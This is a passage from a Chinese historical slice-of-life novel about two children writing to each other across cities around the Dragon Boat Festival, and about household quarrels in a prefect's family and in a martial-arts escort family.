热气腾腾,屋里的粽子香愈发浓郁,香甜得很。
沈碧玉用筷著夹了一只给他放在碗里,“尝尝熟没熟。”
江祈年不吭声,小心翼翼剥着粽子叶,露出一白尖儿,他凑过去脑袋咬了口。
熟的。
“还要两个。”江祈年说。
“娘和大嫂那儿我去送,你自己端着碗去吃吧。”
江祈年捧着碗却是没动,沉默小片刻,道:“我给阿芒的。”
沈碧玉:……
沈碧玉真的是佩服得五体投地。那叫阿芒的小姑娘走了,江祈年又不跑出去玩儿了,日日跟着哥哥和师兄们勤勤恳恳练功,像极了那望断红尘的小和尚。
这倒好,心里还惦记着人家呢。
她没好气道:“她又不回来,你放着过几日就放坏了。”
江祈年觉得有些可惜,先前吃糯米糕时,他答应端午时给阿芒带粽子的。
“……端午佳节啦,小财神可有吃粽子?”
“不行不行,不能写小财神啦,莫要给他知道!”
“先生先生,端午怎么写呀?”
“先生夜里不好好
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睡觉,白里日才打瞌睡吗?”
老先生年过花甲,还要被小学生笑话,当真是有苦难言,他哄道:“先生替你写可好?”一句话里一句话不会写,字字都要询问,当真是磨人得很。
可这小学生执拗得很,脑袋摇得像是街边卖的拨浪鼓,学着他慢吞吞的讲话,“不好不好,阿姐说啦,不可假手于人,先生写的是先生的,只有我写的才是我的。”
一日课罢便要写两封书信,字儿没见她学会几个,先生二字倒是喊得比园中的狸奴都顺溜。
老先生想辞了这差事,每日坐得腰酸背痛,还不给打盹儿,太难为老头儿了。可这知府夫人给的月钱实在太丰了!
老先生握着她的手写了个‘端’字,然后,展青芒兴冲冲的坐端正,照猫画虎的描在自己的书信上,“先生先生,小江哥哥如何写?”
老先生看着她一团墨汁,吞字儿不成语句的书信,有些不忍卒视,正欲开口,又听她欢喜地说‘我知道啦’。而后,他眼瞧着小学生在那几乎瞧不出形来‘端’字后,画了两弯溪流。
“……”
“小江哥哥,你说给我带粽子吃的,可还记得?”
“唉!”
“若是这哗啦啦的水能将你的粽子给我捎来就好啦!”
“姨母家很大,园中有好多漂亮花花,还有小鱼儿。偷偷告诉你哦,我原谅孙云酿说我屋子小啦,但你不许与她说喔。”
“等我一会儿给小石榴写了信,就要去扑蝴蝶啦~~”
……
“表姑娘,该回去用饭啦。”丫鬟在院中低唤。
老先生顿长松口气,舒展了下僵麻的腰背肩膀。
“就来!”展青芒扭头应了声,在纸上画了个粽子模样,“小石榴也要吃粽子呀!”
老先生十分熟稔的替她在那信封上落笔,而后笔锋一收,回家吃饭!
知府府很大,展青芒跟着丫鬟姐姐穿过园子,又穿过几处庭院长廊,才到了她和阿娘的住处。
院子很漂亮,透过那石砖窗还能看见隔壁院子好看的琼花,白得像雪一样。
展青芒跑进屋时,丫鬟正要摆膳,瞧见她,不住一乐,“表姑娘回来得正好呢。”
“我早早就闻到饭香啦!”展青芒仰着脑袋甜滋滋的说。
王娘子抿着唇角笑了笑,牵着她过去洗手。一双软乎乎的小手上尽是墨汁,就连藕节似的手臂上都蹭了些。好在衣袖上未沾,省得丫鬟浆洗费事。
盆里的水很快变黑,小丫鬟及时端去换。
展青芒伸展着两只湿漉漉的手,跟阿娘道:“我很努力读书呢!”
王娘子神色一顿,眉眼间顿添几分失落。
展青芒歪着脑袋看她,不解道:“阿娘不开心吗?”
王娘子没说话。直至饭后,丫鬟撤走碗盏,她才低声与小闺女道:“阿芒,你在姨母家住着,阿娘回去看看你阿姐,可好?”
展青芒正往嘴巴里塞冰冰凉凉的桑葚,闻言,黑溜溜的眼睛一亮,“我也想阿姐!!!”
不待王娘子张口,展青玉眼珠子骨碌碌转了圈,又失落改口:“不行不行,我们不能去找阿姐。”
王娘子一愣,“为何?你阿姐可是与你说了什么?”
“嗯~”展青芒嚼着桑葚摇脑袋,“要等~”
阿姐还没来接她,定是院中的桃树不努力长桃子!
坏桃树!
早知就该种桑葚啦!
歇过晌,展青芒带着丫鬟姐姐,去园子里玩耍。
午后的蝴蝶都懒得飞,藏在丰腴的花朵里,展青芒捕得很轻易。片刻后,孙云酿也带着翡翠姐姐过来了。
展青芒屁股一扭,不理她。
孙云酿也没过来,自己捕蝴蝶玩儿。
捉了几只,展青芒不想玩儿了,想起姨母昨儿给她送来的花花手镯,镶嵌宝石的缠丝蝴蝶珠花,她哒哒哒往回跑。没让丫鬟姐姐跟着,自己勤勤恳恳的在那颗高大的琼花树下挖呀挖,不多时,便露出了土里面的木匣子。
展青芒拍拍手上的土,跑回屋去拿自己的蝴蝶花花,好一并装进这盒子里。须臾,她过来时,就见孙云酿正蹲在她挖的坑前,开她的宝藏!
“孙云酿!”
“打一架吧!”
展青芒认真撸袖子。
孙云酿:?
她就看看啊!!!
15. 第 15 章
两人是被间壁的侍女从泥坑里揪出来的,发苞乱糟糟,漂亮的衣裙上也沾了湿潮的泥巴。
展青芒一爬出坑,就昂首挺胸地扬着攥紧的小拳头,杵到孙云酿跟前呲着牙嚣张地威胁人,“再拿我宝藏,还揍你!”
孙云酿长进了些,这回没哭,倒是气得不轻。
多冤枉啊!
她就是想看看展青芒藏了什么宝贝!谁要与她抢?
俩人本就破破烂烂的小姐妹情,如今又添一笔业障。
王姝听侍女禀罢,只觉好笑。却是不料,这点口角之争竟是还传到了孙老太太耳里,晚间她携闺女去请安时,听了几句训诫。
孙家人丁兴旺,孙老太太和离回来的闺女也住在府里,二三房的人,官人院里的妾室,坐着的,站着的,瞧得人眼晕。这会儿房中安静,谁都不出声,听着老太太训斥王姝,神情各异。
“……那丫头小门小户出身的没规矩便罢了,旁人不知她亲娘是谁,却是会背后偷偷笑话你这做姨母的。她行止粗蛮,不知礼数,传出去,却是我们孙家门风不正,累及府中姑娘们的名声,你惯是冷心冷肺,便是不替着几房未嫁的姑娘们打算,也该想想你的云酿,有这样的德行不佳的亲表姐妹,她日后又能许什么样的人家?”
王姝安安静静听罢,方才轻声道:“哪家姐妹没生过几句口角,今儿哭明儿笑的,那是小孩子。母亲若是跟着操心,怕是累着。儿媳也出身小门户,规矩也是慢慢学的。待云酿与阿芒长至七八岁,若是还不知事,将园中狸奴,池中锦鲤以土活埋,残忍畜生,不消母亲张口,儿媳自会请家法,她们挨三十鞭,儿媳便挨六十,不在祖宗祠堂前跪满半月,消了孽障,那是万万不敢离开半步的。”
她一番轻声言,却是见孙老太太及身边的坐着的和离归家的孙月娘脸色瞬变。
“你是斥责我没教好月娘?”孙老太太眼睛微眯的问。
“儿媳岂敢,”王姝微微欠身道,“官人任知府,妾于前堂帮不得他什么,只能替他理好后宅。这等残忍之行若是传扬出去,我倒不怕什么,却唯恐坏了官人的名声,与孙家文士清流的美誉。”
瞧着那高坐的母女俩脸色铁青,王姝又道:“下人不尽责规劝便罢了,他们都是苦出身,能饱腹就是顶顶好的日子了。可钟鸣鼎食之家亦不知礼义廉耻,恐惹人耻笑。旁人不知月娘,却是会笑话母亲的,日后怎给月妹妹再寻好亲事?”
“……”
王氏也是说得好听,他们算是什么钟鸣鼎食的人家,不过是祖父皆为官,略攒下些家底罢了。
二三房的人如坐针毡,相觑几眼,都有了告辞的心,可谁都不想去当那出头鸟在老太太跟前留眼。
老太太傍晚时让人喊他们过来,说是要正正家风,王氏瞧着柔柔弱弱是个好脾气的,可这些年当家,谁整治得住她?偏老太太不识趣儿。
“你妹妹受了恁大苦楚,如今才归家几日,你这做嫂子便容不得她了?我还没死呢!”孙老太太伤心拍案。
“母亲教训儿媳,阖家当是一荣俱荣,一损俱损,儿媳深以为感。云酿与阿芒姐妹俩之争,吵得母亲不安,以为大祸临头,二人当罚,便免了今日的晚饭。儿媳这做人母亲、姨母的,同罚。”
“月妹妹是自家人,儿媳章中馈,亦不可偏颇,厚此薄彼。池中锦鲤新添,逗趣儿的狸奴也新养了一只,这些花用,我便不与妹妹算了,但想着府中孩子多,孟子三迁亦非无理,既今日起,还请月妹妹于阁楼闭门,好生教养一双儿女,待得三月满,知晓错何,再来母亲身边奉养。”
“你敢!我娘都没说话!”孙月娘恼道。
王姝谦逊与孙老太太请教,“母亲以为呢?”
侍女来传话时,展青芒正洗干净手手要拿筷著,听得不给她吃饭,登时呆若木鸡,天塌了呀!
侍女没多嘴说旁的,传话罢,便退下了。
王娘子也有些微楞。
母女俩大眼瞪小眼,片刻,王娘子默默地将桌案上的碗盏菜碟往自己跟前挪……
展青芒瘪着嘴欲哭无泪,“咋还不给吃饭了呀?”
翌日,先生来授课。
展青芒跟着丫鬟姐姐来到堂中,走到孙云酿跟前去,抠着手指,老实巴交的说:“我日后不揍你了,还能吃你家饭吗?”
孙云酿:………………
先生授课一个时辰,课毕,小学生们登时带着丫鬟、书童跑得无几。
展青芒照旧没走,正蔫头耷脑的趴在书案上给小财神写信。告状她昨日没饭吃,写到动情处,竟还掉了泪珠子,啪嗒啪嗒顷刻间便洇湿了宣纸,上面不成句的画晕染开来,像是玉带巷前下雨时泥泞的水洼。
她想小财神了呢。
到底还是小孩子,展青芒嘴巴瘪着没憋住,哇的一声哭出了声。
刚要打盹儿的老先生被她这一嗓子吓一跳,瞪大的双眼像是受惊了的狸奴,他震惊喃喃:“难哭了???”
今日也没急着走,坐在案前老实做功课的孙云酿,她看着自己刚写好的字被拖着尾巴的一捺,叹了声气。
她也想哭。
被丑哭的。
“我想回家了……”
小孩子不懂寄人篱下,但她想念阿姐、想念小财神、想念玉带巷的羊肉锅盔……想念得有些委屈。
“桃子怎么还不结果啊……”
展青芒仰着脸哭,肉乎乎的小脸湿漉漉的。
孙云酿握着笔坐在旁边有些呆,片刻,她收拾书本,带着廊下捉肉虫的小丫鬟往回走。
用过午饭,侍女端来一碟桃子,又大又粉,水灵灵的。
展青芒两只手捧着咬了一口,满嘴的甜,汁水丰腴,格外满足。
“阿娘
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吃呀,好甜哦!”
王娘子用帕子擦擦她嘴巴上溅到的汁水,道:“你吃,厨下足有一筐呢,都给你留着。”
高门大户的就这点不好,一家子不在一屋吃饭。各房份例不同,大厨房做好了遣下人送去各院,每日时蔬多是庄子上送来的,各院若有另外想吃的,得自个儿使银子让人出府买来,在自个儿院中厨下烹饪。
说着,想起什么,王娘子又启唇,替她的小姐妹讲和:“还是云酿送来的呢,听她说,我们阿芒馋桃子馋哭了。日后啊,有什么想吃的,阿芒与娘讲,出门前,你阿姐给拿了许多银钱,咱们不缺花用。”
展青芒听不懂阿娘后面那句委婉话,咬着桃子一愣,随即脸蛋儿爆红,与手里捧着的桃子一个色。想着自个儿哭得一把鼻涕一把泪的模样给人瞧去,顿恼羞成怒道:“谁哭了!我才不哭呢!”
孙云酿好讨厌啊!
孙云酿不知道自己被讨厌了,吃着碗中米悄悄的想,扬州也有桃子,展青芒吃到桃子就不会想回家了吧?
午后,王姝小憩醒来,侍女伺候梳洗。用过一盏茶,出院子时,见闺女坐在廊下读书。
“阿娘。”孙云酿喊了声。
“娘去给你小姨和阿芒妹妹送新衣裳,你可要同去?”王姝抱了抱她问道。
换做平日,孙云酿才不去呢。展青芒不喜欢她,自己也不稀罕跟她玩儿。但今日她还给展青芒送了桃子,孙云酿自认她们和好了,是以,也愿去呢。
她矜持的轻颔首。
王姝瞧得好笑,抿着唇角忍下哂笑,牵着她一道出门。路过园中,二房三房的小郎和姑娘们在园中捉迷藏,见着母女二人,规矩问安罢,问孙云酿可要一同玩儿。
孙云酿轻摇首,几岁的女娃学着阿娘的模样,神色冷清道:“你们玩儿,我有要事去做。”
“……”
王姝抿唇未言,直至走远了,才与女儿道:“几岁的年纪,正是玩乐的时候,不必总是约束,事事规矩。”
孙云酿仰着脸,与她如出一辙的眼睛里,有些迷茫不解。“可是嬷嬷说,姑娘家要娴静,懂规矩,识礼仪,否则出门会被人家嘲笑。”
“嬷嬷说的,那是做给旁人瞧的,”王姝说着稍顿,“姑娘家娴静、活泼,都是好的。你瞧阿芒,不也惹人疼?”
午后日头晒,母女俩也没多论,穿过一道廊亭,便能看见王婵带着展青芒住着的小院儿了。二人远远地便瞧见,那圆乎乎的小身影在一颗繁茂树下正忙。
“阿芒。”王姝唤了声。
那圆身子一抖,慢吞吞扭过脸来,上面的神情委屈又懊恼。
太欺负人啦!
她怎么一藏宝就能被孙云酿看见!
她还特意换了棵树呢,这棵都没有先前那棵好看……
唉。
藏宝不易,阿芒叹气。
16. 第 16 章
“阿芒这是在做什么呢?”王姝走过来,看着树下还没挖好的浅坑,轻言软语的问。
展青芒张了张嘴,想起姨母不给她饭吃,软乎乎的嘴唇又抿紧了,身子朝旁边一扭,不搭理人。
孙云酿见她不开口,便自个儿道:“她要将阿娘送她的珠花手环都埋进去藏着。”
“……”展青芒将自个儿的藏宝盒抱得更紧了紧。
她就知道!
孙云酿就是坏蛋!
她想抢自己的宝藏!
王姝瞧着她孩子气的小动作,轻声笑道:“阿芒很喜欢吗?姨母又拿来些,阿芒进来与你阿娘一同挑,可好?”
“我不要。”展青芒用背对着人,闷着声儿不高兴道。
王姝瞧她闷头恼,玲珑心思一转,顿明缘由。与云酿不同,眼前的小姑娘爱吃,昨儿少了一顿饭,那可不是天塌了似的大事。
“阿芒生姨母气啦?”王姝抿笑问。
展青芒吃过饭刚消散的委屈,这会儿经人一提,顿又如覆水而来,瘪着嘴巴控诉:“姨母不给阿芒饭饭吃。”
“那姨母与阿芒道歉可否?过几日端午节,姨母带你和云酿姐姐出门去看赛龙舟,晌午去酒楼吃大官羊,鲈鱼脍,好不好?”
展青芒脾气大,可也委实好哄,美味的食物,漂亮的衣裙,皆是她所爱。拍拍脏兮兮的手,乖乖巧巧的被姨母领回院子去试新衣。
屋里,展青芒和孙云酿各坐一处玩儿,互不理睬。院子里,王家姐妹俩轻声说话。
王婵问起阿姐,宅子找得如何了。她欲言又止,心道:若是不称意,她不如带阿芒回京去。阿玉虽说已然及笄,可孩子再大,在亲娘心里也是小孩儿,哪里放心的下。更何况,展青玉说是要与崔钟灵成亲,可也得讲究三茶六礼,没得草草过门之说。她这做亲娘的不在,又有谁替她操持这些琐事。
“扬州城中百姓多,要想找个称心如意的,得慢慢来。你和阿芒安心住着就是了。”王姝说。
“住的时日久了,终究不像话,怕是惹得孙老夫人不喜。”王婵低声说。
她这院儿里伺候的,近前的是王姝先前院儿里,洒扫的几个是从二院提来的,先过了王姝的面儿,都不是轻嘴薄舌的。
事实上,昨儿那事,也没人嚼舌根说到王婵跟前来。
王姝观她神色一瞬,呷了口茶,轻声道:“老太太那娘家侄儿,在府上一住就是七八年,这还是前年成亲后,搬出去自个儿立了门户。她做得,又有何脸说东嚼西的不喜,左右你们娘儿俩不必过她的眼,喜与不喜,随她去。倒是我,你在府里住着,我也有个说话的人。”
王婵想起什么,没忍住低声问:“姐夫院里娶了四房小的?”
王婵住进孙家,平日来也不爱走动。还是初来那日,见过府中众人,男男女女凑了满屋,挨个儿见过,不免头昏脑涨得很。她身为妻妹,自是不好去管姐夫的房中事,但这……委实是忍了多日,今儿才问出了口。
老人都道,汉子一滴精,那是骨头里的血,万万不能贪那事的,不然身子骨可是熬不住。寻常娶妻,那也净够了,娶个三房四房,不是色迷心窍的,也决计是贪欢的。
王姝脸上神情倒是没什么好说,只与她提了桩旧事,“早前有两个孩子,都没留住,后来好容易生了云酿。大房子嗣单薄,有二房三房的跟前衬着,官人脸面上也不好看,是以,商议罢,我替他纳了两房妾,都是良家,虽说平日里有些拈酸吃醋的,但也没掀起什么风浪。另两个,一个是官人前头书房里伺候的,破了身子,将人收了房。容貌拔尖儿的那个,那是老太太送来的,她娘家侄女儿。”
“我知你想什么,”王姝又道,“你与妹夫感情好,也念着他的好。只与我这般的妇人,夫君能予几分敬重,这日子也就过得,什么情爱,无甚紧要。只我是这家里的主母,万事听我吩咐,能护着我想护着的,这就净够了。官人他宠谁爱谁,那便是他自个儿的事了。”
“可这哪是夫妻啊……”王婵低声说。
姐妹俩性情相异,王姝主意大,自来便知自己想要什么。说起,她与孙家大郎回眸一瞥,再遇时雨中定情,并非天意,而是人为。而王婵被爹娘宠惯得天真些,在家时被百般宠爱,出嫁后夫君体贴温和,公婆慈爱,纵然展家大伯不是好相与的,但上面也有公爹婆母顶着,再烦不过是展大贪得无厌的登门要银子。
扬州由春入夏,细雨淅淅沥沥。江南街景如同文人笔下的一卷水墨丹青,白墙黛瓦,灰蒙蒙的天色。江水幽绿至靛蓝,扬州的雨没落在上京,这里万里晴空。
端午佳节,舞狮争霸,百舸争流,述不尽的热闹。
一早,家家户户都早早有了动静。
江祁川一桶水兜头浇了,冲了个澡,拧着帕子擦干,换了身干净衣裳,边剥着个粽子吃边朝门外走。
玉带河还是那条河,只趁着这佳节,这会儿河里飘着七八只小船,红红绿绿的颜色不一,垂髫小孩儿穿着小褂坐在小舟上,手里握着小木浆,有模有样的划舟玩儿,像一群小鸭子逗乐。
旁边或蹲或站着各家大人,倒也不怕船翻,孩童落河呛水。
江祁川立在河道旁,吃着粽子看热闹,“没吃饭吗?划快些,后面的追上来了!”
一时间,一个个儿都往后回头,神色又急又慌张。手上功夫一乱,小舟歪七扭八眼瞧要翻。
岸边的青年、少年对看热闹不嫌事大的江祁川怒目相视。
“……”
江祈年默默地换了块石头坐,省得人家连他一道揍。
瞧着挨得近的几个小舟歪歪扭扭的撞一块儿,江祁川看了个乐呵,一扭头,就见自家的小孩儿离他一杆子远。江祁川还不知自个儿招人嫌,两步挪过去,冲着那双手托腮坐在妇人们浣衣石头上、安静看人家赛舟玩儿的小弟,“人家不带你玩儿?”
瞧瞧。
有的人一张嘴就讨人嫌。
“大哥昨儿给你的铜钱呢,”江祁川张嘴叭叭儿,挺大一爷们儿了,撺掇小孩儿,“买栗子糖去哄人家带你玩儿啊。”
“……”
江祈年坐着不动,当没听见。
“自个儿坐这儿看人家玩儿,多可怜啊。”江祁川又说。
“不可怜。”江祈年仰起头说。
“嗯?”
“二嫂与你吵架,是你可怜,瞧这蚊子包咬的。”江祈年认真道,手伸出去抠抠他手臂上被蚊虫叮的鼓包。
“嘿——”江祁川眼睛一瞪,作势就要收拾他。
江祈年面无表情的撒丫子就跑。
江家正摆饭,一家子大大小
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小的,吃的粽子都得按桶算。吃过饭,江旌发话,今儿的练功就省了,都回家去过节。
老夫妻回屋去换衣裳,小辈收拾碗筷。江家祖辈走镖,收的徒不计其数,哪怕今日许多都不做这行当了,但早年拜师学艺的恩德得记着。如今江家分家,只江旌一房还行镖,是以,往前数的两辈人,都会年节时来串门儿道个贺,这是情谊没忘。
就是江祁山和江祁川兄弟俩,如今在馆内一等一的好手,今儿也就是个端茶倒水的份儿。
兄弟俩在厨下收拾,江祁川朝那搬着小凳子等在灶火前,等着香甜糕点出锅的小屁孩儿,用肩撞了撞大哥,“你也不说给他弄个小舟玩儿,净眼巴巴的看人家玩儿了。”
“他不要。”江祁山三两下洗出一只碗,“再说了,旁的小孩儿都是三四人一只小舟,他就自个儿一个,看着不是更可怜?”
语气虽是一本正经,话却是说得促狭。俩哥哥没个正形儿,欺负小孩儿玩儿。
江祈年当作听不见,也不计较,仰着脸问捏点心的大嫂,“这糕点送去扬州会坏吗?”
那日听沈碧玉说小话,三郎还想留着粽子给那小姑娘吃,蓉娘还不大信,今儿亲耳听得,却是不禁扑哧笑了。
“想阿芒啦?”蓉娘用手背搓搓他圆乎乎的脑袋瓜说。
小孩子也要脸面,不好意思说想念的话,江祈年正襟危坐,郑重其事道:“贺佳节呢。”
此话一出,不只是蓉娘,旁边听人家说话的俩哥也是捧腹大笑。
江祈年:……
也太烦人了吧。
沈碧玉刚过来,就见自家男人张着嘴哈哈大笑。
“咳……”江祁川被那软绵绵的眼风一扫,当即闭上嘴巴,笑声未收,动作太快,险些劈了叉。
“不用你沾手,今儿不是要回娘家吃晌午饭?等我洗完这俩碗,换身衣裳陪你一道去。”江祁川也不管兄弟嫂子在场,轻着调子哄人。
也是他理亏,好心施舍的一锭银子,竟是惹得那卖身葬父的女子寻上门来,要与他做使婢。江家寻常门户,哪里用得?江祁川好说歹说,却是劝不回头,那女子哭着跪着抱着他腿求,二人正撕吧着,给沈碧玉瞧了个正着。
江祁山偏过脸嗤笑了声,明晃晃的看热闹。
沈碧玉喜欢作,但在旁人面前,还是给自家男人几分颜面的,虽不亲热,也没拒绝。
蓉娘心善,轻声道:“二弟与弟妹去吧,剩的碗筷不多,你大哥洗就是了。”
“那便多谢大嫂了。”
江祁川半分不推辞,立马洗了手,跟着取了鲜肉蹄髈和肥鱼的媳妇儿屁股后面就走,生怕慢了一瞬,给他大哥揪住。
“我来拿,我来拿。这样重的东西哪里是你这双手能提的……”
江祁山刷着碗筷,不轻不重的骂:“这谄媚劲儿。”
蓉娘偏过脸看他。
江祁山勾了勾唇角,笑说:“将活儿揽给了我,有甚好处没?”
蓉娘:“第一笼糕点给你,够不够。”
江祁山笑了声,眼风朝下看了眼那小豆丁,挑着唇角问:“不是给这小崽子的?”
江祈年:……
怪不对劲的。
可又说不上哪里怪,他挠挠手臂上莫名其妙的疙瘩,木着脸抬起屁股就走。
17. 第 17 章
杨雁夫妻俩换了身见客的簇新衣裳,拾掇好出来,厨下的糕点也揭了笼盖。
江祁山端着新出笼的糕点和新鲜瓜果过来,又翻箱倒柜的去拿新茶。家里平日里自个儿喝的陈茶,也就待客时才会买三两斤新茶请人尝,老头儿说,这是做脸面。
“你们夫妻俩也别在家里忙活了,难得你今儿有空闲,带着蓉娘去街上逛逛,三郎呢,将三郎也带去耍吧,阿芒一走,这孩子又跟个闷老头儿似的,”杨雁接过新茶,又转身去拿待客的茶碗,“我听隔壁说,今年端午宫中有龙舟赛,那朱雀大街门外的迎祥池也有富绅开了门赛龙舟,头筹足有十两金呢,报名的人多,可少不了热闹。”
沈碧玉今日回娘家,是早先便同杨雁讲了的。姑娘家嫁了人,与兄弟姐妹见得便少了,难得佳节,一门子亲友相聚,杨雁推己及人,自不会拦着她,让老二去买了些节礼,夫妻俩一道去。
她待沈碧玉宽和,更心疼蓉娘没有娘家姐妹亲人走动,心中不免又将那不成器的弟弟暗骂一通。
“今儿城中人山人海,我可不去挤那热闹,”蓉娘抿着笑说,“与爹娘在家里待客也好,官人方才将那鱼刮麟杀了,说是在外吃过人家做的鲈鱼脍,美味至极,晌午要亲下厨呢。”
“哎,那是好吃呢!”江旌连忙道,想起那鲜美鱼脍,还不禁吞津。
杨雁没好气地扭头瞪他,“就你会吃。”
江旌哼声,“那人长一张嘴,可不得是吃饭嘛。”
一家子热热闹闹正说话,等的客人尚且未至,倒是不速之客先上门了。
蓉娘神情一敛,垂首不说话了。
杨雁恨不得往自己嘴巴扇两下,好端端的记起这混账东西做甚!
“我说没说过不许你在上门来!”杨雁厉声道。
“阿姐作何这般,你再恼,我也还是你亲兄弟不是?”蓄须佝偻腰的无赖男人厚脸皮说,又朝自己闺女一抬下巴,笑嘻嘻的模样,“蓉娘还嫁给了你儿子,亲上加亲啊这是。瞧瞧我闺女,长得多好,阿姐就是看在蓉娘的面儿上,都该宽我两分。”
杨雁只觉胸腔一股火,碍着过节,她强忍着,“你来做甚。”
“这不女婿迟迟没松节礼来,我就亲自来看看。”男人搓着手说,又嘿嘿笑了两声,“骏哥儿秋里也要娶亲了,蓉娘嫁时,聘礼加嫁妆,得有二百两,骏哥儿也是你侄子,他娶亲,你少说得拿个五百两不是。”
杨雁当真是气笑了,到此刻,反倒是变得平静了。她语气平和的吩咐大郎,带着蓉娘出门耍去,逛逛街市热闹。
蓉娘抿着唇,这次没推拒,安安静静的跟着她家官人出去了。
小辈一走,杨雁二话没说,直接抄起笤帚,毫不留情的照着那无赖弟弟身上抽。
“凭你也有脸要五百两,给你买棺材要不要?蓉娘从小到大,你看顾过两回没,为着那个狐狸精,你将亲闺女典卖去大户人家当使婢,你还当爹?我呸!那小小的一个姑娘,大冬日里双手满是冻疮,还笑着跟我讲不疼的,爹娘要是在天有灵,合该一道天雷活辟了你那一家子!狐狸精生的小畜生,不过几岁就敢偷看亲姐洗澡,我没砍死他都是怕脏了蓉娘的名声!”
男人被抽得嗷嗷叫,满屋的跳,“他那是年纪小……”
“就他年纪小!他怎的不看他亲娘去!”
“看你说得什么话!”
“老娘说的是人话!你听不懂你是畜牲!”杨雁气得手抖,“老娘告诉你不许再上门,你当耳旁风,今儿也就别走,抽不死你我跟你姓!”
她下手狠,笤帚都是带着风抽在身上的,男人被揍得实在忍不住了,夺门要逃,就见一道高大的身影一闪而过,哐的一脚踹上了门,整个人跟门神似的杵那儿。他刚逃过来,就被一脚踹了回去。
哐哐迎面又是两笤帚,当真是哭都没地儿去。
两口子关门打狗,杨雁使完了劲儿,才算是痛快。她收起笤帚,胸口起伏气喘,冷眼看着那一滩烂泥似的东西,“我再说一遍,你我两家断了亲,再没干系。不管是你还是他们娘俩,都不许再登我家的门,再有下回,就不是抽你一顿的事了,老娘带人去挖她家祖坟,你若不信,大可试试,看我是诓你的不是。”
杨雁说罢,喊江旌将人丢出去。
“难看了些,多少得顾及些蓉娘的脸面。”江旌劝说。
杨雁点头。
是以,江旌是将人拎出去的,说得上是温和了。
只是,一出门,脚步刹住了。
几个衣冠楚楚的老友、长辈,皆站在他家影壁前。他那小儿子,活生生的门神。
听到脚步声,小孩儿扭头看了眼他爹,脑袋又扭回来,神色很是淡定坦然:“哦,打完狗了。”
江旌:……………………
江祈年收到展青芒寄来问候佳节的信时,已端午过去半月有余。彼时,滔滔江水另一端的江南岸,展青芒泛舟回来,怀里抱着好多根莲子呢。
“王夫人、表小姐回来了,今儿有客人来寻您呢。”管家嬷嬷见着二人,笑说,“二位不在府上,客人留话说明儿再来。”
“谁呀?”王婵好奇。
“姓江,是位年轻人,说是走镖途径扬州,特来拜会。”
展青芒嘴巴和眼睛一样圆:“喔~~~”
翌日,母女俩便见着了这位极年轻的江姓人。
“江二哥!哇哇哇!”小孩子的欢喜溢于言表,手舞足蹈的冲到了江祁川跟前。
“这是想我啦?”江祁川笑哈哈的将人掐着胳肢窝举高高,也被这简单的愉悦感染,偏生嘴巴是个惹人恼的,“又重了些,没少吃啊。”
“哼!我吃的不多!”展青芒鼓着脸颊反驳,又按捺不住的急声询问,“小财神没来吗,小财神好不好呀,我寄给他的信可收到啦?还有好吃的糕糕呢,他喜欢吗?我昨天采了莲子,我自己采的哦,等玉红姐姐做了好吃的,还要给小财神寄呢!”
小姑娘叽叽喳喳也是极可爱的,跟百灵鸟似的惹人喜欢。
江祁川抱着她,又捏捏她软乎乎的脸蛋儿,却是促狭的问:“小财神是谁?”
“!!!”展青芒圆滚滚的
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眼珠子左右转一圈,然后眨巴着眼睛单纯道:“我说的是小江哥哥呀,江二哥是听成了小财神了吗?”
坏小孩儿,说得像是真的呢。
江祁川轻敲一下她脑袋,发苞上的蝴蝶珠花振翅,栩栩如生,“是吗?”
“是的呀。”展青芒肯定地哐哐点头。
江祁川也不与她辩,“说这么多,我要回你哪句?”
展青芒可不笨呢,脑袋一歪,反问:“二哥哥记不住吗?都回呀!”她都要呢!
“江祈年没来,他被你师傅扔进了学堂,正苦读书呢。”江祁川说起就乐,他那日不在,但听他娘说起江小三的壮举便忍不住开怀大笑。
“哇!读书可太难啦!”展青芒惊叹。
江祁川赞同:“谁说不是呢。”
二人呼啦啦说过几句话解馋,江祁川才腾出功夫来,与旁边站着的王婵问了声好,又道:“我们在扬州留两日,明日一早走,今得空,想带着阿芒逛逛扬州,不知王姨可允?”
这也是在孙家——官宦人家,多了许多规矩,放在玉带巷,多的是小孩儿满巷子乱窜的。
更何况,两家都是打过照面的,她家闺女更是不知吃过人家多少吃的,王婵想起便觉脸热,这会儿也摆手,“去吧。”
将人送出门,王婵折返回来,正想着是去与阿姐坐坐,还是回自己院子。远远的,就见亭子里坐着几个妇人,身边孩子绕着打闹。
王婵脚步一顿,欲无声息的避开,便听那头喊了她一声。无奈,也只能过去与几人略坐说上几句。
府里当真是难藏事儿,王婵刚走过去,被请坐下,就听二房夫人问:“那来的是你家亲戚?”眉眼间神色有些打探,也有些说不出的意味,像是谁家穷亲戚上门打秋风来似的,几人交换个眼神,面皮底下皆藏着些尖酸刻薄的嘲笑。
王婵不是个与人红脸的性子,话多说两句,她自个儿怕是都要先忍不住哭。再者,她也不想给她阿姐找麻烦。是以,浅浅得颔首,并未多说什么。
“瞧瞧,我说的就是吧。”二房夫人恨不得比那中榜的进士还要面焕荣光几分,她笑了声,又扭头与王婵道:“你家这亲戚是住多久?来找大嫂替那郎君说亲的?”
王婵脸上挂着几分淡色,拒了侍女奉来的茶盏,“他们途经扬州,挂心阿芒,过来瞧瞧。不想让各位夫人担忧了,还请恕我之过。”
轻讽一句,王婵便起身离开了。
欢喜宛若踏青去的两人还不知。展青芒摇头晃脑高兴得很,问他:“我们去哪儿耍呀?”
她来了扬州,鲜少出门呢。掰着手指头数,除了看龙舟赛、出门做客两回,还有昨日去泛舟摘莲子,就没啦!前些时日,展青芒在院子里扑蝴蝶也很开心,但时日一长,再漂亮的园子也有些憋闷,远不如街上热闹好玩儿。
“带银子了没?”江祁川问着,捏捏人家腰带上挂着的精致小荷包,大言不惭的欺负小孩儿,“请我去吃蟹黄汤包、盐水鹅。”
展青芒一双眼睛倏然瞪圆:!
她也要当小财神了吗!
18. 第 18 章
“人之初,性本善,性相近,□□,苟不教……”[1]
书堂里,乳臭未干的小儿摇头晃脑的背书,先生捋着白须闭眼静听。
“谁家的狗不叫呀?”
忽然,一道小小声好奇询问。
朗朗读书声变得哄堂大笑。先生在书案上敲了两下戒尺,“安静!安静!”
后面坐着的小身影,抬头看了两眼热闹,又于纸上书:
堂中有学生问——
谁家小狗不叫?
众人大笑,先生甚奴……(划掉)
笔杆儿挠挠不争气的脑袋,枯坐半晌,江祈年小小叹了声气,抬眼认真看先生片刻,握笔在那墨迹旁,潦草画了抓着戒尺拍桌的小人儿,而后于旁书——先生。
信又继续:
我想了想,我也不知谁家小狗不叫。
可不叫的小狗也不好玩儿吧。
“江祈年!你爹和你二哥回来了!”
窗外忽而有人喊。
